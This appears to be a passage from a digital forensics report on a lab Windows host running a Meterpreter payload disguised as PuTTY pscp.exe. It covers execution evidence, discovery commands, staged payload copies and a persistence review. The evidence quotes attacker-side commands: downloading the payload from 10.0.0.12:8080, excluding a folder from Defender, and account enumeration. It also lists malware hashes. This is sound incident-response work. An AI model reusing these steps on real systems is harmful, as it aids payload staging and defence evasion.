- C:\Payloads\pscp.exe ran at 2023-11-10 11:03:09 UTC. Its parent was medmondson's elevated PowerShell (PID 1088, GUID {e6e9f951-0de1-654e-8801-000000000500}), which the user's own explorer shell (GUID …0907-654e-5c00…) had started at 11:02:57.
- Four independent sources show the run: Sysmon 1, Prefetch (PSCP.EXE-1DCA12FC, run count 1), SRUM (about 120 s duration, ending 11:17) and PowerShell 4104 plus PSReadLine (`.\pscp.exe`).
- ShimCache and $MFT show the file is present; its Zone.Identifier (ZoneId=3) points to http://10.0.0.12:8080/pscp.exe.
- There is no Amcache or BAM entry for it.
- Hashes: MD5 DED9E58DD95A88A4BEE89B74A65F05F1, SHA256 ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931, IMPHASH ADD361A4F3939AF38D11873F1D74BDED.
- It masquerades as PuTTY PSCP: version info reads "PuTTY suite", OriginalFileName "PSCP", "Release 0.79".

New discovery commands (F-007)
- These come from cmd 5848, a child of the injected explorer.exe PID 7324: `netstat -ntb` at 11:12:23, `whoami /user` at 11:13:25, and `net user administrator` (which ran net1) at 11:13:35.
- Sysmon 1 and Prefetch both record them, each with run count 1.

Payload copies with no sign of execution (F-009)
- C:\Payloads\test.exe was saved with `wget …/pscp.exe -o test.exe` at 10:21:41. C:\Users\medmondson\1.exe was downloaded at 11:10:55.
- Both are 986,624 bytes, the same size as pscp.exe. No artifact shows either one ran.

Recorded so far
- Findings F-007, F-008 (execution origin and corroboration, critical/confirmed) and F-009.
- Timeline events T-008 to T-010 and IOCs I-007 to I-010.
- Answers to Q1, Q2, Q3, Q5, Q6, Q7 and Q8. Q6 gives the full ProcessGuid chain.
- A note listing the lab and analyst noise that was excluded.

F-008: Execution provenance of C:\Payloads\pscp.exe: launched by the user's elevated PowerShell (PID 1088), corroborated by Prefetch, SRUM, ShimCache, PSReadLine and 4104

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:$mft artifact:powershell history (psreadline) artifact:prefetch artifact:shimcache (appcompatcache) artifact:srum (application resources) artifact:srum (application timeline) evtx:microsoft-windows-powershell%4operational.evtx evtx:microsoft-windows-sysmon%4operational.evtx

Category	execution
MITRE ATT&CK	T1204.002, T1036.005, T1055, T1059.001
Period (UTC)	2023-11-10 10:19:53 → 2023-11-10 11:43:00

Observed facts

- Sysmon 1 2023-11-10 11:02:57.768: powershell.exe (no args) GUID {e6e9f951-0de1-654e-8801-000000000500} PID 1088, parent C:\Windows\explorer.exe GUID {e6e9f951-0907-654e-5c00-000000000500} (legitimate user shell) (row 18642).
- PowerShell 4104 2023-11-10 11:03:09.878 ScriptBlockText ".\pscp.exe" (row 8742); 4103 at 11:03:04 shows directory listing containing pscp.exe and test.exe (row 8737).
- Sysmon 1 2023-11-10 11:03:09.903: "C:\Payloads\pscp.exe" PID 2196 GUID {e6e9f951-0ded-654e-8f01-000000000500}, ParentProcessGuid {e6e9f951-0de1-654e-8801-000000000500} (PID 1088), User medmondson, IL High, CurrentDirectory C:\Payloads\, MD5 DED9E58DD95A88A4BEE89B74A65F05F1, SHA256 ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931, IMPHASH ADD361A4F3939AF38D11873F1D74BDED, version info Product "PuTTY suite", OriginalFileName "PSCP", FileVersion "Release 0.79" (row 18650).
- Sysmon 1 11:03:09.990: child "explorer.exe" PID 7324 GUID {e6e9f951-0ded-654e-9001-000000000500} (genuine C:\Windows\explorer.exe, SHA256 CEF64201…2D9C09A5… MD5 9FBBF189473A313776019D2EAA72A47A) (row 18651).
- Prefetch PSCP.EXE-1DCA12FC.pf: RunCount 1, LastRun 11:03:09.900, directories \PAYLOADS (prefetch row 98); EXPLORER.EXE-03C49D11 RunCount 1 LastRun 11:03:09.979 (row 37).
- PSReadLine ConsoleHost_history (medmondson): "wget http://10.0.0.12:8080/pscp.exe -o test.exe" (order 3), ".\pscp.exe" (order 17).
- SRUM AppTimeline: pscp.exe user medmondson, EndTime 11:17:00, DurationMs 119993; AppResourceUseInfo \Device\HarddiskVolume4\Payloads\pscp.exe ForegroundCycleTime 187,674,331 (11:43 interval).
- ShimCache: C:\Payloads\pscp.exe and C:\Users\medmondson\Downloads\pscp.exe, LastModified 2023-11-10 10:19:53.
- $MFT: C:\Payloads\pscp.exe entry 85781, 986,624 bytes, $SI created 10:20:10.117, modified 10:19:53.851, ADS Zone.Identifier ZoneId=3 HostUrl=http://10.0.0.12:8080/pscp.exe ReferrerUrl=http://10.0.0.12:8080/.
- Amcache: no entry for pscp.exe (no InventoryApplicationFile record); BAM: no entry.

Analysis

Execution of the malicious executable is established by four independent sources (Sysmon 1, Prefetch, SRUM, PowerShell 4104/PSReadLine). It was started interactively from an elevated PowerShell console of medmondson (the lab operator detonating the payload after excluding C:\Payloads\ from Defender), so it ran with High integrity, which explains the subsequent ability to inject into lsass (F-005). The binary carries PuTTY PSCP 0.79 version resources (masquerade) while Defender classified it Trojan:Win64/Meterpreter.E. Mark-of-the-Web proves origin from 10.0.0.12:8080; the file moved/copied from Downloads to C:\Payloads at 10:20:10. Absence in Amcache/BAM is not significant (Amcache inventory is not exhaustive; BAM records only some interactive launches). SRUM duration ~120 s suggests pscp.exe itself exited shortly after spawning/injecting explorer.exe 7324, which carried the session afterwards (interpretation).

Evidence (15)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:02:57.767576	Event logs (EVTX)	EVTX event "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1088, ProcessGUID: e6e9f951-0de1-654e-8801-000000000500 | RuleName: - | MD5=CDA48FC75952AD12D99E526D0B6BF70A,SHA256=908B64B1971A979C7E3E8CE4621945CBA84854CB98D76367B791A6E22B5F6D53,IMPHASH=A7CEFACDDA74B13CD330390769752481 | ParentProcess: C:\Windows\ex	evtxecmd/evtxecmd_0.csv#18642	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:03:09.877971	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: .\pscp.exe	evtxecmd/ evtxecmd_0.csv#8742	C:\Windows\system32\ winevt\logs\Microsoft-Windows-PowerShell %4Operational.evtx
2023-11-10 11:03:04.599586	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4103 | Microsoft-Windows-PowerShell | Pipeline executed | Command Name: | Host Application = C:\Windows\ System32\WindowsPowerShell\v1.0\powershell.exe | Script Name: | ConnectedUser: | Host Name: ConsoleHost | Payload: CommandInvocation(Out-Default): "Out-Default", ParameterBinding(Out-Default): name="Inp	evtxecmd/ evtxecmd_0.csv#8737	C:\Windows\system32\ winevt\logs\Microsoft-Windows-PowerShell %4Operational.evtx
2023-11-10 11:03:09.902865	Event logs (EVTX)	EVTX event "C:\Payloads\pscp.exe" Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 2196, ProcessGUID: e6e9f951-0ded-654e-8f01-000000000500 | RuleName: - | MD5=DED9E58DD95A88A4BEE89B74A65F05F1,SHA256=ABBF7B5F7A059348A17DCD8BCD464767125F54B4F8691F0F810AC1819C6CF931,IMPHASH=ADD361A4F3939AF38D11873F1D74BDED | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18650	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:03:09.989870	Event logs (EVTX)	EVTX event explorer.exe Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | RuleName: - | MD5=9FBBF189473A313776019D2EAA72A47A,SHA256=CEF64201A97E08834F5C8952907A1719531A7D99B53309CB2E2956F40CFF3486,IMPHASH=D505016A935B17367AA0263582F3F1E2 | ParentProcess: C:\Payloads\p	evtxecmd/ evtxecmd_0.csv#18651	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:03:09.900579	Prefetch	Execution (Prefetch, last) PSCP.EXE runs=1 hash=1DCA12FC False	pecmd/ prefetch_0.csv#98	C:\Windows\prefetch\ PSCP.EXE-1DCA12FC.pf
2023-11-10 11:03:09.978687	Prefetch	Execution (Prefetch, last) EXPLORER.EXE runs=1 hash=3C49D11 False	pecmd/ prefetch_0.csv#37	C:\Windows\prefetch\ EXPLORER.EXE-03C49D11.pf
2023-11-10 11:36:48.063750	PowerShell history (PSReadLine)	history: mtime C:\Users\medmondson\AppData\Roaming\Microsoft\ Windows\PowerShell\psreadline\ConsoleHost_history.txt command=wget http://10.0.0.12:8080/pscp.exe -o test.exe | order=3	dissect/ powershell_history.jsonl#5	C:\Users\medmondson\ AppData\Roaming\ Microsoft\Windows\ PowerShell\psreadline\ ConsoleHost_history.txt
2023-11-10 11:36:48.063750	PowerShell history (PSReadLine)	history: mtime C:\Users\medmondson\AppData\Roaming\Microsoft\ Windows\PowerShell\psreadline\ConsoleHost_history.txt command=.\pscp.exe | order=17	dissect/ powershell_history.jsonl#19	C:\Users\medmondson\ AppData\Roaming\ Microsoft\Windows\ PowerShell\psreadline\ ConsoleHost_history.txt
2023-11-10 11:17:00	SRUM (application timeline)	SRUM: end of application activity pscp.exe duration_ms=119993	srumecmd/ 20261019151050_SrumECmd_AppTimelineProvider_Output.csv#949	C:\Windows\system32\ SRU\SRUDB.dat
2023-11-10 11:43:00	SRUM (application resources)	SRUM: resource usage (end of period) \Device\HarddiskVolume4\Payloads\pscp.exe foreground read/written=4472832/0 background read/written=0/0	srumecmd/ 20261019151050_SrumECmd_AppResourceUseInfo_Output.csv#519	C:\Windows\system32\ SRU\SRUDB.dat
2023-11-10 10:19:53	ShimCache (AppCompatCache)	ShimCache: file modification date (not proof of execution) C:\Payloads\pscp.exe position=27 Executed=No ControlSet=1	appcompatcache/ shimcache.csv#28	C:\Windows\system32\ config\SYSTEM
2023-11-10 10:19:53	ShimCache (AppCompatCache)	ShimCache: file modification date (not proof of execution) C:\Users\medmondson\Downloads\pscp.exe position=29 Executed=No ControlSet=1	appcompatcache/ shimcache.csv#30	C:\Windows\system32\ config\SYSTEM
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe size=986624	mftecmd_mft/ mft.csv#115203	C:\$MFT
2023-11-10 10:19:53.851269	$MFT	$SI modification (M) C:\Payloads\pscp.exe:Zone.Identifier size=102 Zone.Identifier: [ZoneTransfer] ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe	mftecmd_mft/ mft.csv#115204	C:\$MFT

F-007: Additional discovery commands from Meterpreter cmd shell 5848: netstat -ntb, whoami /user, net user administrator

Severity	High

Confidence	confirmed
Independent sources	artifact:prefetch evtx:microsoft-windows-sysmon%4operational.evtx evtx:security.evtx
Category	discovery
MITRE ATT&CK	T1049, T1033, T1087.001, T1057, T1059.003
Period (UTC)	2023-11-10 11:11:23.838148 → 2023-11-10 11:13:35.796776

Observed facts

Sysmon EID 1 (Microsoft-Windows-Sysmon/Operational), all user DESKTOP-KJ81A5A\medmondson, IntegrityLevel High, CurrentDirectory C:\Payloads\, all children of cmd.exe PID 5848 GUID {e6e9f951-0f52-654e-ad01-000000000500} (itself child of injected explorer.exe PID 7324 GUID {e6e9f951-0ded-654e-9001-000000000500}):
- 2023-11-10 11:11:23.852 tasklist.exe PID 8012 GUID {e6e9f951-0fdb-654e-ba01-000000000500} (row 18682);
- 2023-11-10 11:12:23.448 "netstat -ntb" PID 6292 GUID {e6e9f951-1017-654e-c701-000000000500}, SHA256 5A780D66…3803353CA (row 18688);
- 2023-11-10 11:13:25.704 "whoami /user" PID 7220 GUID {e6e9f951-1055-654e-cb01-000000000500}, SHA256 A8A4C471…AAA99A7FD (row 18694);
- 2023-11-10 11:13:35.773 "net user administrator" PID 736 GUID {e6e9f951-105f-654e-cc01-000000000500} (row 18695) → net1 user administrator PID 1152 GUID {e6e9f951-105f-654e-cd01-000000000500} (row 18696).
Prefetch corroborates single executions: NETSTAT.EXE-34A60389 run 1 at 11:12:23.447; WHOAMI.EXE-824687C3 run 1 at 11:13:25.697; NET.EXE-61E7A54D run 1 at 11:13:35.760; NET1.EXE-1C88A7BA run 1 at 11:13:35.776; TASKLIST.EXE-2448BC7D run 1 at 11:11:23.838. Earlier discovery from cmd 6600 (tracert x3, quser) already in F-006.

Analysis

These commands complete the situational-awareness set started at 11:04 (F-006): network connections with owning binaries (netstat -ntb, requires elevation – consistent with High IL), current user SID (whoami /user), and local Administrator account enumeration (net user administrator). The parent chain (explorer 7324 spawned by C:\Payloads\pscp.exe, not by userinit) shows they were issued through the Meterpreter session ("shell" command), not by the legitimate user at the desktop. Binaries are genuine Microsoft (OriginalFileName netstat.exe, whoami.exe, net.exe). Run count 1 for each in Prefetch indicates no prior use on this host.

Evidence (11)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 11:11:23.852357	Event logs (EVTX)	EVTX event tasklist Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 8012, ProcessGUID: e6e9f951-0fdb-654e-ba01-000000000500 | RuleName: - | MD5=80036C62EACEEFAC7F7DF133634321F5,SHA256=9F60240830FAF4DE590360561A6E249F5D0C41FF8AFBB9498BBE5C1A80ABD02C,IMPHASH=DCE1F3B1BD09BBAD166CE65677E33EDB | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18682	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:12:23.447885	Event logs (EVTX)	EVTX event netstat -ntb Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 6292, ProcessGUID: e6e9f951-1017-654e-c701-000000000500 | RuleName: - | MD5=2445DECE99DEEDBD701DC6DFE10E648E,SHA256=5A780D6630639FFB7FD3D295C182EAA2A7CAD2C70248C5BA8F334BB3803353CA,IMPHASH=F495C58FFEE3A623AD7AAA6BE78756D5 | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18688	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:25.703963	Event logs (EVTX)	EVTX event whoami /user Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7220, ProcessGUID: e6e9f951-1055-654e-cb01-000000000500 |	evtxecmd/ evtxecmd_0.csv#18694	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx

UTC	Artifact	Detail	Reference	Original source
		RuleName: - | MD5=2EEEEC89E705F73FFBCAE014E1828788,SHA256=A8A4C4719113B071BB50D67F6E12C188B92C70EEAFDFCD6F5DA69B6AAA99A7FD,IMPHASH=7FF0758B766F747CE57DFAC70743FB88 | ParentProcess: C:\Windows\Sy		
2023-11-10 11:13:35.772808	Event logs (EVTX)	EVTX event net user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 736, ProcessGUID: e6e9f951-105f-654e-cc01-000000000500 | RuleName: - | MD5=A63DF9A6E9098CC189F2A3EFC37600F6,SHA256=96CDFD7B263947A6A7C0DB54141A6B8D7777DB0A03A17CBF95666D98422F937B,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07 | ParentProcess: C:\Windows\Sys	evtxecmd/ evtxecmd_0.csv#18695	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:35.786440	Event logs (EVTX)	EVTX event C:\Windows\system32\net1 user administrator Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 1152, ProcessGUID: e6e9f951-105f-654e-cd01-000000000500 | RuleName: - | MD5=0F641F87A791AE07C00A725BBBD77724,SHA256=286E7F127B06386BD1CC9664851848F483A867F0F604AA352893151068715FAA,IMPHASH=41DBA1AF77E1A2260F0CE46D59ADCB5E | ParentProcess: C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#18696	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:12:23.447441	Prefetch	Execution (Prefetch, last) NETSTAT.EXE runs=1 hash=34A60389 False	pecmd/ prefetch_0.csv#83	C:\Windows\prefetch\NETSTAT.EXE-34A60389.pf
2023-11-10 11:13:25.697436	Prefetch	Execution (Prefetch, last) WHOAMI.EXE runs=1 hash=824687C3 False	pecmd/ prefetch_0.csv#217	C:\Windows\prefetch\WHOAMI.EXE-824687C3.pf
2023-11-10 11:13:35.759974	Prefetch	Execution (Prefetch, last) NET.EXE runs=1 hash=61E7A54D False	pecmd/ prefetch_0.csv#81	C:\Windows\prefetch\NET.EXE-61E7A54D.pf
2023-11-10 11:13:35.775558	Prefetch	Execution (Prefetch, last) NET1.EXE runs=1 hash=1C88A7BA False	pecmd/ prefetch_0.csv#82	C:\Windows\prefetch\NET1.EXE-1C88A7BA.pf
2023-11-10 11:11:23.838148	Prefetch	Execution (Prefetch, last) TASKLIST.EXE runs=1 hash=2448BC7D False	pecmd/ prefetch_0.csv#193	C:\Windows\prefetch\TASKLIST.EXE-2448BC7D.pf
2023-11-10 11:13:35.796776	Event logs (EVTX)	EVTX event Security 4798 | Microsoft-Windows-Security-Auditing | A user's local group membership was enumerated | Target: DESKTOP-KJ81A5A\Administrator (S-1-5-21-1841083384-974204330-411256071-500) | SubjectLogonId: 0x15347 | CallerProcessName: C:\Windows\System32\net1.exe | CallerProcessId: 0x480	evtxecmd/ evtxecmd_0.csv#27065	C:\Windows\system32\winevt\logs\Security.evtx

F-009: Copies of the payload C:\Payloads\test.exe and C:\Users\medmondson\1.exe: downloaded from 10.0.0.12:8080, no execution evidence

Severity	**Medium**
Confidence	probable
Independent sources	artifact:$mft artifact:powershell history (psreadline) evtx:microsoft-windows-powershell%4operational.evtx evtx:microsoft-windows-sysmon%4operational.evtx
Category	execution
MITRE ATT&CK	T1105
Period (UTC)	2023-11-10 10:16:38.642518 → 2023-11-10 11:36:48.063750

Observed facts

- C:\Payloads\test.exe: $MFT entry 80578, 986,624 bytes, $SI created 2023-11-10 10:21:41.003, modified 10:21:42.285; PSReadLine history order 3: "wget http://10.0.0.12:8080/pscp.exe -o test.exe" (executed in C:\Payloads\ after Set-MpPreference -ExclusionPath C:\Payloads\).
- C:\Users\medmondson\1.exe: $MFT entry 90508, 986,624 bytes, created 11:10:55.604, modified 11:10:56.932; PowerShell 4104 11:10:55.495 "wget http://10.0.0.12:8080/1.exe -o 1.exe" from powershell PID 736 GUID {e6e9f951-

0f56-654e-af01-000000000500} (Meterpreter chain), Sysmon 3 to 10.0.0.12 at 11:10:55.573.
- Edge cache copy pscp[1].exe (986,624 bytes) created 10:16:38.643.
- No Prefetch file (TEST.EXE / 1.EXE), no Sysmon EID 1, no Amcache, BAM, ShimCache, UserAssist, MUICache or SRUM entry was found for test.exe or 1.exe (queries on raw.prefetch, raw.amcache_files, raw.reg_bam, raw.shimcache, raw.dissect_muicache, raw.srum_*).

Analysis

Identical size (986,624 B) and same source host suggest test.exe and 1.exe are copies of the same Meterpreter payload (test.exe is explicitly pscp.exe downloaded under another name); no hash is available for them (no Sysmon 1/Amcache), so identity with SHA256 ABBF7B5F… is a hypothesis to verify by hashing the files on disk. Prefetch was enabled and Sysmon was running when 1.exe was dropped, so the absence of execution traces for 1.exe is meaningful: it was most likely staged but never run before collection. test.exe was dropped before Sysmon install (10:51), but Prefetch would still have recorded its execution: none present.

Evidence (6)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:21:41.003421	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Payloads\test.exe size=986624	mftecmd_mft/ mft.csv#109630	C:\$MFT
2023-11-10 11:10:55.603703	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) C:\Users\medmondson\1.exe size=986624	mftecmd_mft/ mft.csv#119927	C:\$MFT
2023-11-10 10:16:38.642518	$MFT	$SI creation (B) ; $SI modification (M) ; $SI MFT change (C) ; $FN access (A) C:\Users\medmondson\AppData\Local\Packages\ Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\#!001\ MicrosoftEdge\Cache\A6816M2V\pscp[1].exe size=986624	mftecmd_mft/ mft.csv#114957	C:\$MFT
2023-11-10 11:36:48.063750	PowerShell history (PSReadLine)	history: mtime C:\Users\medmondson\AppData\Roaming\Microsoft\ Windows\PowerShell\psreadline\ConsoleHost_history.txt command=wget http://10.0.0.12:8080/pscp.exe -o test.exe | order=3	dissect/ powershell_history.jsonl#5	C:\Users\medmondson\ AppData\Roaming\ Microsoft\Windows\ PowerShell\psreadline\ ConsoleHost_history.txt
2023-11-10 11:10:55.494829	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: wget http://10.0.0.12:8080/1.exe -o 1.exe	evtxecmd/ evtxecmd_0.csv#8814	C:\Windows\system32\ winevt\logs\Microsoft-Windows-PowerShell %4Operational.evtx
2023-11-10 11:10:56.791298	Event logs (EVTX)	EVTX event C:\Windows\System32\WindowsPowerShell\v1.0\ powershell.exe Microsoft-Windows-Sysmon/Operational 3 | Microsoft-Windows-Sysmon | Network connection | ProcessID: 736, ProcessGUID: e6e9f951-0f56-654e-af01-000000000500 | RuleName: - | SourceHostname: DESKTOP-KJ81A5A.hsd1.md.comcast.net | SourceIp: 10.0.0.124 | DestinationHostname: - | DestinationIp: 10.0.0.12 | C:\ Windows\System32\WindowsPowerShell\v1.0\powersh	evtxecmd/ evtxecmd_0.csv#18681	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx

4.4 Persistence

I checked all the persistence locations listed for this step and found no attacker persistence (F-010, info/probable).

What was checked
*- **Services:** System 7045 and Security 4697 events, raw.reg_services and the Sysmon 13 ImagePath writes. All are lab setup or vendor installs: VMware, Mozilla, Sysmon, WPD, Defender.*
*- **Scheduled tasks:** 4698/4702 and TaskScheduler 106 events, raw.reg_taskcache and Sysmon 11 writes under System32\Tasks. The tasks belong to Firefox, Defender, OneDrive and EdgeUpdate, and svchost created all of them.*
*- **Run/RunOnce keys:** these come from a legitimate OneDrive self-update at 11:13:46. Its process chain is OneDrive.exe → OneDriveSetup.exe → EdgeUpdate, which is not the injected explorer.exe 7324 chain.*
*- **Other registry autostarts:** no Winlogon, IFEO or SilentProcessExit values were found. AppInit_DLLs is empty.*

*- **COM:** the 31 HKCU CLSID entries are OneDrive/EdgeUpdate registrations.*
*- **Active Setup, print monitors/processors, BootExecute/SetupExecute:** all stock values.*
*- **WMI:** the only 5861 event is the default SCM Event Log Filter.*
*- **Startup folders and hosts:** the Startup folders hold only desktop.ini, and the hosts file is unchanged since 2019.*
*- **Attacker processes:** pscp.exe, explorer 7324 and cmd 5848 made no Sysmon registry or WMI changes. Their only file writes were 1.exe, a PSScriptPolicyTest file and a CLR usage log.*

Conclusion
The Meterpreter session appears to have run in memory only, with no reboot persistence.

F-010: No attacker persistence identified: services, tasks, Run keys, COM, AppInit, Active Setup, print monitors, WMI, Startup and hosts all reviewed and explained

Severity	**Informational**
Confidence	probable
Independent sources	artifact:$mft artifact:registry (recmd, complementary batch) evtx:microsoft-windows-sysmon%4operational.evtx evtx:microsoft-windows-wmi-activity%4operational.evtx evtx:system.evtx
Category	persistence
MITRE ATT&CK	T1547.001, T1543.003, T1053.005, T1546.015, T1546.003
Period (UTC)	2019-03-19 04:49:40.979782 → 2023-11-10 11:16:03.322916

Observed facts

What was reviewed and what it shows:

(1) Services
- System 7045 records show only setup and vendor installs: Printer Extensions (2023-11-09 11:04), VMware Tools drivers and services (2023-11-10 10:14:18–10:14:42), Mozilla Maintenance Service (10:25:49), WPD FS driver (10:45:40) and Sysmon64/SysmonDrv (10:51:10, evtx row 27966).
- No Security 4697 events.
- raw.reg_services contains no ImagePath under Users, Payloads or Temp, and none using powershell or cmd. The only keys written after 10:55 are BITS (12:16:01, svchost netsvcs/qmgr.dll) and per-user service instances.
- The Sysmon 13 ImagePath writes at 10:52:42–10:52:46 come from services.exe and affect only the Defender services (WdNisSvc, WdBoot, WdFilter, WdNisDrv, WinDefend).

(2) Scheduled tasks
- No Security 4698/4702 events, and TaskScheduler 106 entries are system only.
- TaskCache entries created on 2023-11-10:
  - Mozilla Firefox Default Browser Agent and Background Update (10:25:49 / 10:26:00)
  - Four Windows Defender tasks running MpCmdRun.exe (11:03:03)
  - OneDrive Standalone Update Task-S-...-1001 (11:13:54)
  - Two MicrosoftEdgeUpdateTaskUser...Core/UA tasks (11:13:57)
- svchost PID 1136 created all of these task files (Sysmon 11, e.g. rows 18927, 19089).

(3) Run/RunOnce keys
- HKLM Run holds SecurityHealth and VMware User Process.
- HKCU Run holds OneDrive /background and Microsoft Edge Update.
- HKCU RunOnce holds four OneDrive cleanup commands ("cmd /q /c del/rmdir" of the old OneDrive binaries).
- Sysmon 13 shows the writers:
  - OneDriveSetup.exe PID 3488 (GUID {e6e9f951-106b-654e-cf01-000000000500}), row 18928
  - MicrosoftEdgeUpdate.exe PID 4216 from Temp\EU3403.tmp, row 19088

- That chain started at 11:13:46 from C:\Users\medmondson\AppData\Local\Microsoft\OneDrive\OneDrive.exe ("OneDriveSetup.exe /update /restart /updateSource:ODU", Sysmon 1 row 18698). It does not descend from the injected explorer.exe PID 7324 or from cmd 5848.
- No Winlogon Shell/Userinit, IFEO Debugger/GlobalFlag or SilentProcessExit values were found in raw.registry_kroll.

(4) AppInit_DLLs
- Empty in both the native and WOW6432Node keys.

(5) COM (HKCU\Software\Classes\CLSID)
- All 31 entries were written at 11:13:54–11:13:58.
- They point to the OneDrive 23.214.1015.0001 binaries (FileSyncShell64.dll, FileCoAuth.exe, Microsoft.SharePoint.exe, OneDrive.exe) or to EdgeUpdate psuser_64.dll. This is consistent with the OneDrive update above.

(6) Active Setup, Print Monitors/Processors, BootExecute/SetupExecute
- Active Setup StubPaths are stock Microsoft values.
- Monitors are AppMon.dll, localspl.dll, FXSMON.DLL, tcpmon.dll, usbmon.dll and APMon.dll; the print processor is winprint.dll.
- BootExecute = "autocheck autochk *" (recmd_complement row 34), and SetupExecute is empty.

(7) WMI
- The only WMI-Activity 5861 event (10:51:11, row 24734) is the default "SCM Event Log Filter" → NTEventLogEventConsumer binding.

(8) Startup folders and hosts
- Both the ProgramData and the user Startup folders contain only desktop.ini.
- C:\Windows\System32\drivers\etc\hosts is 824 bytes with $SI modified 2019-03-19 04:49:40, i.e. stock (MFT row 54482).

(9) Attacker processes
- No Sysmon 12/13/14/19/20/21 events come from the attacker process GUIDs (pscp.exe …8f01…, explorer 7324 …9001…, cmd 5848 …ad01…).
- Their only file writes (Sysmon 11) are __PSScriptPolicyTest_*.ps1 (11:06:40), C:\Users\medmondson\1.exe (11:10:55, powershell 736) and the CLR UsageLogs\explorer.exe.log (11:16:03).

Analysis

No persistence mechanism was found that can be tied to the Meterpreter payload (C:\Payloads\pscp.exe) or to its migrated explorer.exe PID 7324. All autostart entries created during the incident window come from legitimate software:
- Defender platform tasks
- Firefox install tasks
- A OneDrive self-update, with its Edge WebView2/EdgeUpdate install, at 11:13:46–11:13:58

The OneDrive update runs at the same time as the attacker's discovery commands (11:13:25–11:13:35), but it is not linked to them. Its process ancestry is OneDrive.exe → OneDriveSetup.exe, not the injected chain, and its command lines, paths and binaries are standard.

The likeliest reading is that the attacker relied on the in-memory Meterpreter session only. Persistence would then end at reboot, unless pscp.exe, test.exe or 1.exe is re-launched by hand.

Limits on this conclusion:
- Sysmon covers only events from 10:51:11 onward.
- No raw.native_startup, raw.dissect_cim_consumerbindings or Office-startup tables are available.
- The Dissect job was partial, so a WMI repository-level consumer cannot be fully excluded beyond what the 5861 events

show.
- Confidence is therefore "probable" (absence of evidence within the available artefacts).

Evidence (12)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:51:10.748733	Event logs (EVTX)	EVTX event C:\Windows\Sysmon64.exe System 7045 | Service Control Manager | A new service was installed in the system | Name: Sysmon64 | StartType: auto start | Account: LocalSystem | C:\Windows\Sysmon64.exe	evtxecmd/ evtxecmd_0.csv#27966	C:\Windows\system32\winevt\logs\System.evtx
2023-11-10 11:13:54.651364	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 1136, ProcessGUID: e6e9f951-0901-654e-1a00-000000000500 | RuleName: T1053 | Image: C:\Windows\system32\svchost.exe | TargetFilename: C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-1841083384-974204330-411256071-1001	evtxecmd/ evtxecmd_0.csv#18927	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
2023-11-10 11:13:57.604874	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 1136, ProcessGUID: e6e9f951-0901-654e-1a00-000000000500 | RuleName: T1053 | Image: C:\Windows\system32\svchost.exe | TargetFilename: C:\Windows\System32\Tasks\MicrosoftEdgeUpdateTaskUserS-1-5-21-1841083384-974204330-411256071-1001Core{D843B141-3149-47D1-9EE	evtxecmd/ evtxecmd_0.csv#19089	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx
